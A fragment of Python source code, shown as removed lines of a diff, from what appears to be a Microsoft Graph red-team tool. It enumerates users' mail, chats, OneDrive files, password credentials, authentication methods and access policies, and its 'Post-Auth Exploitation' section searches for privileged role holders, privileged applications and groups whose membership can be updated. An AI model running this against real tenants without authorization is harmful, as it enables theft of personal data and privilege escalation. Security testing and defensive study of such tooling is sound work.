file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - permissions = parse_roleids(content) - - for key, value in response_json.items(): - if key == "requiredResourceAccess": - if value: - print_green(f"{key}:") - for resource in value: - print_green(f" Resource App ID: {resource['resourceAppId']}") - for access in resource['resourceAccess']: - role_id = access['id'] - role_type = access['type'] - if role_id in permissions: - perm_type, role_name, description, consent_required = permissions[role_id] - print_green(f" Role ID: {role_id}") - print_green(f" Role Name: {role_name}") - print_green(f" Description: {description}") - print_green(f" Type: {role_type}") - print_green(f" Permission Type: {perm_type}") - print_green(f" Admin Consent Required: {consent_required}") - else: - print_red(f" Role ID: {role_id} (Information not found)") - print_red(f" Type: {role_type}") - print(" ---") - else: - print_red(f"{key} : No assignments") - elif key != "@odata.context": - print(f"{key}: {value}") - else: - print_red(f"[-] Failed to retrieve Azure Application details: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-appserviceprincipal - elif args.command and args.command.lower() == "get-appserviceprincipal": - if not args.id: - print_red("[-] Error: --id argument is required for Get-AppServicePrincipal command") - return - - print_yellow("\n[*] Get-AppServicePrincipal") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId+eq+'{args.id}'" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-serviceprincipal - elif args.command and args.command.lower() == "get-serviceprincipal": - if not args.id: - print_red("[-] Error: --id argument is required for Get-ServicePrincipal command") - return - - print_yellow("\n[*] Get-ServicePrincipal") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - - else: - print_red(f"[-] Failed to retrieve Service Principal details: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-serviceprincipalapproleassignments - elif args.command and args.command.lower() == "get-serviceprincipalapproleassignments": - print_yellow("\n[*] Get-ServicePrincipalAppRoleAssignments") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}/appRoleAssignments" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-personalcontacts - elif args.command and args.command.lower() == "get-personalcontacts": - print_yellow("\n[*] Get-PersonalContacts") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/contacts" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-crosstenantaccesspolicy - elif args.command and args.command.lower() == "get-crosstenantaccesspolicy": - print_yellow("\n[*] Get-CrossTenantAccessPolicy") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy" - if args.id: - api_url += f"/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-partnercrosstenantaccesspolicy - elif args.command and args.command.lower() == "get-partnercrosstenantaccesspolicy": - print_yellow("\n[*] Get-PartnerCrossTenantAccessPolicy") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/templates/multiTenantOrganizationPartnerConfiguration" - if args.id: - api_url += f"/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-userchatmessages - elif args.command and args.command.lower() == "get-userchatmessages": - if not args.id: - print_red("[-] Error: --id argument is required for Get-UserChatMessages command") - return - - print_yellow("\n[*] Get-UserChatMessages") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-administrativeunitmember - elif args.command and args.command.lower() == "get-administrativeunitmember": - if not args.id: - print_red("[-] Error: --id argument is required for Get-AdministrativeUnitMember command") - return - - print_yellow("\n[*] Get-AdministrativeUnitMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{args.id}/members" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-onedrivefiles - elif args.command and args.command.lower() == "get-onedrivefiles": - print_yellow("\n[*] Get-OneDriveFiles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drive/root/children" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drive/root/children" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-userpermissiongrants - elif args.command and args.command.lower() == "get-userpermissiongrants": - print_yellow("\n[*] Get-UserPermissionGrants") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/permissionGrants" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/permissionGrants" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-oauth2permissiongrants - elif args.command and args.command.lower() == "get-oauth2permissiongrants": - print_yellow("\n[*] Get-oauth2PermissionGrants") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/oauth2PermissionGrants" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-messages - elif args.command and args.command.lower() == "get-messages": - print_yellow("\n[*] Get-Messages") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/messages" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/messages" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-temporaryaccesspassword - elif args.command and args.command.lower() == "get-temporaryaccesspassword": - if not args.id: - print_red("[-] Error: --id argument is required for Get-TemporaryAccessPassword command") - return - - print_yellow("\n[*] Get-TemporaryAccessPassword") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/passwordMethods" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-password - elif args.command and args.command.lower() == "get-password": - if not args.id: - print_red("[-] Error: --id argument is required for Get-Password command") - return - - print_yellow("\n[*] Get-Password") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/passwordCredentials" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-authmethods - elif args.command and args.command.lower() == "list-authmethods": - print_yellow("\n[*] List-AuthMethods") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/authentication/methods" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/methods" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-directoryroles - elif args.command and args.command.lower() == "list-directoryroles": - print_yellow("\n[*] List-DirectoryRoles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/directoryRoles" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-notebooks - elif args.command and args.command.lower() == "list-notebooks": - print_yellow("\n[*] List-Notebooks") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/onenote/notebooks" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/onenote/notebooks" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-conditionalaccesspolicies - elif args.command and args.command.lower() == "list-conditionalaccesspolicies": - print_yellow("\n[*] List-ConditionalAccessPolicies") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-conditionalauthenticationcontexts - elif args.command and args.command.lower() == "list-conditionalauthenticationcontexts": - print_yellow("\n[*] List-ConditionalAuthenticationContexts") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/authenticationContextClassReferences" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-conditionalnamedlocations - elif args.command and args.command.lower() == "list-conditionalnamedlocations": - print_yellow("\n[*] List-ConditionalNamedLocations") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-sharepointroot - elif args.command and args.command.lower() == "list-sharepointroot": - print_yellow("\n[*] List-SharePointRoot") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/sites/root" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - - else: - print_red(f"[-] Failed to retrieve current user: {response.status_code}") - print_red(response.text) - - print("=" * 80) - - # list-sharepointsites - elif args.command and args.command.lower() == "list-sharepointsites": - print_yellow("\n[*] List-SharePointSites") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/sites" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-sharepointurls - elif args.command and args.command.lower() == "list-sharepointurls": - print_yellow("\n[*] List-SharePointURLs") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/search/query" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - data = { - "requests": [ - { - "entityTypes": ["drive"], - "query": { - "queryString": "*" - }, - "from": 0, - "size": 500, - "fields": [ - "webUrl" - ] - } - ] - } - - try: - response = requests.post(api_url, headers=headers, json=data, timeout=30) - response.raise_for_status() - - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - else: - print_yellow("[-] No results found in the response.") - - next_link = response_body.get("@odata.nextLink") - while next_link: - response = requests.get(next_link, headers=headers, timeout=30) - response.raise_for_status() - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - - next_link = response_body.get("@odata.nextLink") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to search data: {str(e)}") - if hasattr(e, 'response'): - print_red(e.response.text) - - print("=" * 80) - - # list-externalconnections - elif args.command and args.command.lower() == "list-externalconnections": - print_yellow("\n[*] List-ExternalConnections") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/external/connections" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-applications - elif args.command and args.command.lower() == "list-applications": - print_yellow("\n[*] List-Applications") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/applications" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + access_token, - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - applications = response.json() - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - applications = None - - def parse_roleids(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_description = rows[2].find_all('td')[1].get_text() - delegated_description = rows[2].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_description, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - permissions = parse_roleids(content) - - if applications and 'value' in applications: - for app in applications['value']: - for key, value in app.items(): - if key == 'requiredResourceAccess': - if value: - print_green(f"{key}:") - for resource in value: - print_green(f" Resource App ID: {resource['resourceAppId']}") - for access in resource['resourceAccess']: - role_id = access['id'] - role_type = access['type'] - if role_id in permissions: - perm_type, role_name, description, consent_required = permissions[role_id] - print_green(f" Role ID: {role_id}") - print_green(f" Role Name: {role_name}") - print_green(f" Description: {description}") - print_green(f" Type: {role_type}") - print_green(f" Permission Type: {perm_type}") - print_green(f" Admin Consent Required: {consent_required}") - else: - print_red(f" Role ID: {role_id} (Information not found)") - print_red(f" Type: {role_type}") - print(" ---") - else: - print_red(f"{key} : No assignments") - else: - print(f"{key} : {value}") - print("\n") - print("=" * 80) - - # list-serviceprincipals - elif args.command and args.command.lower() == "list-serviceprincipals": - print_yellow("\n[*] List-ServicePrincipals") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/servicePrincipals" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-tenants - elif args.command and args.command.lower() == "list-tenants": - print_yellow("\n[*] List-Tenants") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/tenantRelationships/multiTenantOrganization/tenants" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-joinedteams - elif args.command and args.command.lower() == "list-joinedteams": - print_yellow("\n[*] List-JoinedTeams") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/joinedTeams" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/joinedTeams" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-chats - elif args.command and args.command.lower() == "list-chats": - print_yellow("\n[*] List-Chats") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/chats" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-chatmessages - elif args.command and args.command.lower() == "list-chatmessages": - if not args.id: - print_red("[-] Error: --id argument is required for List-ChatMessages command") - return - - print_yellow("\n[*] List-ChatMessages") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/chats/{args.id}/messages" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-devices - elif args.command and args.command.lower() == "list-devices": - print_yellow("\n[*] List-Devices") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/devices" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - - # list-administrativeunits - elif args.command and args.command.lower() == "list-administrativeunits": - print_yellow("\n[*] List-AdministrativeUnits") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/directory/administrativeUnits" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-onedrives - elif args.command and args.command.lower() == "list-onedrives": - print_yellow("\n[*] List-OneDrives") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drives" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drives" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-recentonedrivefiles - elif args.command and args.command.lower() == "list-recentonedrivefiles": - print_yellow("\n[*] List-RecentOneDriveFiles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drive/recent" - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - try: - while api_url: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - response_body = response.json() - filtered_data = response_body.get('value', []) - if filtered_data: - file_count = 1 - for d in filtered_data: - print_green(f"File {file_count}") - if args.select: - selected_fields = args.select.split(',') - for field in selected_fields: - value = d - for part in field.split('.'): - if isinstance(value, dict) and part in value: - value = value[part] - else: - value = None - break - if value is not None: - print(f"{field} : {value}") - else: - for key, value in d.items(): - if isinstance(value, (str, int, float, bool)): - print(f"{key} : {value}") - elif isinstance(value, dict): - print(f"{key} : {json.dumps(value, indent=2)}") - else: - print(f"{key} : {str(value)}") - print("\n") - file_count += 1 - else: - print_red("[-] No data found") - return - - api_url = response_body.get("@odata.nextLink") - except requests.RequestException as e: - print_red(f"[-] Error making request: {str(e)}") - print("=" * 80) - - # list-sharedonedrivefiles - elif args.command and args.command.lower() == "list-sharedonedrivefiles": - print_yellow("\n[*] List-SharedOneDriveFiles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drive/sharedWithMe" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-onedriveurls - elif args.command and args.command.lower() == "list-onedriveurls": - - print_yellow("\n[*] List-OneDriveURLs") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/search/query" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - data = { - "requests": [ - { - "entityTypes": ["driveItem"], # get OneDrive and SharePoint - no only OneDrive option - "query": { - "queryString": "*" - }, - "from": 0, - "size": 500, - "fields": [ - "webUrl" - ] - } - ] - } - - try: - response = requests.post(api_url, headers=headers, json=data, timeout=30) - response.raise_for_status() - - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - else: - print_yellow("[-] No results found in the response.") - - next_link = response_body.get("@odata.nextLink") - while next_link: - response = requests.get(next_link, headers=headers, timeout=30) - response.raise_for_status() - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - - next_link = response_body.get("@odata.nextLink") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to search data: {str(e)}") - if hasattr(e, 'response'): - print_red(e.response.text) - - print("=" * 80) - - - ########################## - # Post-Auth Exploitation # - ########################## - - # invoke-customquery - elif args.command and args.command.lower() == "invoke-customquery": - if not args.query: - print_red("[-] Error: --query argument is required for Invoke-CutstomQuery command") - return - - print_yellow("\n[*] Invoke-CutstomQuery") - print("=" * 80) - api_url = args.query - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - if "@odata.context" in response_json: - del response_json["@odata.context"] - - print(json.dumps(response_json, indent=4)) - - else: - print_red(f"[-] Failed to retrieve query: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # invoke-search - elif args.command and args.command.lower() == "invoke-search": - if not args.search or not args.entity: - print_red("[-] Error: --search and --entity required for Invoke-Search command") - return - - print_yellow("\n[*] Invoke-Search") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/search/query" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "requests": [ - { - "entityTypes": [args.entity], - "query": { - "queryString": args.search - } - } - ] - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - url = response_body.get("@odata.nextLink") - if url: - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - else: - print_red(f"[-] Failed to search data: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # find-privilegedroleusers - elif args.command and args.command.lower() == "find-privilegedroleusers": - print_yellow("\n[*] Find-PrivilegedRoleUsers") - print("=" * 80) - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - for role in roles: - api_url = f"https://graph.microsoft.com/v1.0/directoryRoles(roleTemplateId='{role['roleTemplateId']}')/members" - response = requests.get(api_url, headers=headers) - - if response.ok: - print_green(f"[+] Role: {role['displayName']}") - print(f"Description: {role['description']}") - response_body = response.json() - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - format_list_style(filtered_data) - else: - print_red(f"[-] Role: {role['displayName']}") - print("=" * 80) - - # find-privilegedapplications - elif args.command and args.command.lower() == "find-privilegedapplications": - print_yellow("\n[*] Find-PrivilegedApplications") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/applications?$select=appId" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + access_token, - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - applications = response.json() - app_ids = [app['appId'] for app in applications.get('value', [])] - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - app_ids = [] - - service_principals = [] - for app_id in app_ids: - sp_api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '{app_id}'&$select=id,appDisplayName" - sp_response = requests.get(sp_api_url, headers=headers) - - if sp_response.status_code == 200: - sp_data = sp_response.json() - for sp in sp_data.get('value', []): - service_principals.append({ - 'id': sp['id'], - 'appDisplayName': sp['appDisplayName'] - }) - else: - print_red(f"[-] Error: Service Principal API request failed for appId {app_id} with status code {sp_response.status_code}") - - app_role_assignments = {} - for sp in service_principals: - app_role_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{sp['id']}/appRoleAssignments" - app_role_response = requests.get(app_role_url, headers=headers) - - if app_role_response.status_code == 200: - assignments = app_role_response.json() - app_role_assignments[sp['id']] = { - 'appDisplayName': sp['appDisplayName'], - 'assignments': assignments.get('value', []) - } - else: - print_red(f"[-] Error: App Role Assignments API request failed for Service Principal ID {sp['id']}: {app_role_response.status_code}") - print_red(app_role_response.text) - - def parse_roleids(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_description = rows[2].find_all('td')[1].get_text() - delegated_description = rows[2].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_description, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - permissions = parse_roleids(content) - - # results - for sp_id, data in app_role_assignments.items(): - print(f"\nApplication: {data['appDisplayName']}") - if data['assignments']: - for assignment in data['assignments']: - app_role_id = assignment.get('appRoleId', 'N/A') - print_green(f"[+] App Role ID: {app_role_id}") - if app_role_id in permissions: - role_type, role_name, description, consent_required = permissions[app_role_id] - print_green(f"[+] Role Name: {role_name}") - print_green(f"[+] Description: {description}") - #print_green(f"[+] Role Type: {role_type}") # can only be application for appRoleAssignments, delegated role types use oauth2PermissionGrants - #print_green(f"[+] Admin Consent Required: {consent_required}") # admin consent required for all app graph perms - else: - print_red(f"[-] Role information not found for App Role ID: {app_role_id}") - print_green(f"[+] Resource: {assignment.get('resourceDisplayName', 'N/A')}") - print("---") - else: - print_red("[-] No role assignments") - print("=" * 80) - - # find-updatablegroups - elif args.command and args.command.lower() == "find-updatablegroups": - print_yellow("\n[*] Find-UpdatableGroups") - print("=" * 80) - graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" - estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" - - default_fields = ['id','displayName', 'description', 'isAssignableToRole', 'onPremisesSyncEnabled', 'mail', 'createdDateTime', 'visibility'] - - if args.select: - select_fields = args.select.split(',') - graph_api_endpoint += f"?$select=id,{args.select}" - else: - select_fields = default_fields - graph_api_endpoint += f"?$select=id,{','.join(select_fields)}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - results = [] - while graph_api_endpoint: - try: - response = requests.get(graph_api_endpoint, headers=headers) - response.raise_for_status() - response_data = response.json() - for group in response_data['value']: - if 'id' not in group: - print_yellow(f"[-] Group without 'id' found, skipping") - continue - group_id = group['id'] - request_body = { - "resourceActionAuthorizationChecks": [ - { - "directoryScopeId": f"/{group_id}", - "resourceAction": "microsoft.directory/groups/members/update" - } - ] - } - while True: - try: - estimate_response = requests.post(estimate_access_endpoint, headers=headers, json=request_body) - estimate_response.raise_for_status() - estimate_data = estimate_response.json() - if estimate_data['value'][0]['accessDecision'] == "allowed": - group_out = {k: group.get(k) for k in select_fields if k in group} - results.append(group_out) - break - except requests.exceptions.HTTPError as e: - if e.response.status_code == 429: - print_yellow("[*] Requests throttled... sleeping for 5 seconds") - time.sleep(5) - else: - print_red(f"[-] Error estimating access for group: {str(e)}") - break - except requests.exceptions.RequestException as e: - print_red(f"[-] Error estimating access for group: {str(e)}") - break - graph_api_endpoint = response_data.get('@odata.nextLink') - except requests.exceptions.RequestException as e: - print_red(f"[-] Error fetching Groups: {str(e)}") - break - if results: - max_key_length = max(len(key) for result in results for key in result.keys()) - for result in results: - for key, value in result.items(): - print(f"{key:<{max_key_length}} : {value}") - print("") - else: - print_red("[-] No updatable groups found") - print("=" * 80) - - # find-dynamicgroups - elif args.command and args.command.lower() == "find-dynamicgroups": - print_yellow("\n[*] Find-DynamicGroups") - print("=" * 80) - graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" - estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - results = [] - - while graph_api_endpoint: - try: - while True: - try: - response = requests.get(graph_api_endpoint, headers=headers) - response.raise_for_status() - break - except requests.exceptions.HTTPError as e: - if e.response.status_code == 429: - print_yellow("[*] Requests throttled... sleeping 5 seconds") - time.sleep(5) - else: - raise - - response_data = response.json() - - for group in response_data['value']: - group_id = f"/{group['id']}" - request_body = { - "resourceActionAuthorizationChecks": [ - { - "directoryScopeId": group_id, - "resourceAction": "microsoft.directory/groups/members/update" - } - ] - } - - if group.get('membershipRule') is not None: - #print_green(f"[+] Found dynamic group: {group['displayName']}") - group_out = { - "Group Name": group.get('displayName'), - "Group ID": group.get('id'), - "Description": group.get('description'), - "Is Assignable To Role": group.get('isAssignableToRole'), - "On-Prem Sync Enabled": group.get('onPremisesSyncEnabled'), - "Mail": group.get('mail'), - "Created Date": group.get('createdDateTime'), - "Visibility": group.get('visibility'), - "MembershipRule": group.get('membershipRule'), - "Membership Rule Processing State": group.get('membershipRuleProcessingState') - } - results.append(group_out) - - graph_api_endpoint = response_data.get('@odata.nextLink') - - except requests.exceptions.RequestException as e: - print_red(f"[-] Error fetching Group IDs: {str(e)}") - break - - if results: - for result in results: - for key, value in result.items(): - print(f"{key:<35} : {value}") - print() - else: - print_red("[-] No dynamic groups found") - print("=" * 80) - - # find-securitygroups - elif args.command and args.command.lower() == "find-securitygroups": - print_yellow("\n[*] Find-SecurityGroups") - print("=" * 80) - graph_api_url = "https://graph.microsoft.com/v1.0" - groups_url = f"{graph_api_url}/groups?$filter=securityEnabled eq true" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - groups_with_members = [] - - while groups_url: - try: - response = requests.get(groups_url, headers=headers) - response.raise_for_status() - groups_response = response.json() - groups = groups_response.get('value', []) - except requests.exceptions.RequestException as e: - print_red(f"[-] An error occurred while retrieving security groups: {str(e)}") - return - - for group in groups: - group_id = group['id'] - members_url = f"{graph_api_url}/groups/{group_id}/members" - - try: - members_response = requests.get(members_url, headers=headers) - members_response.raise_for_status() - members = members_response.json().get('value', []) - except requests.exceptions.HTTPError as e: - if e.response.status_code == 429: - print_yellow("[*] Being throttled... sleeping for 5 seconds") - time.sleep(5) - else: - print_red(f"[-] An error occurred while retrieving members for group {group['displayName']}: {str(e)}") - continue - - member_info = [ - member.get('userPrincipalName') or member.get('id', '') - for member in members - ] - group_info = { - "GroupName": group['displayName'], - "GroupId": group_id, - "Members": member_info - } - groups_with_members.append(group_info) - - groups_url = groups_response.get('@odata.nextLink') - - if groups_with_members: - 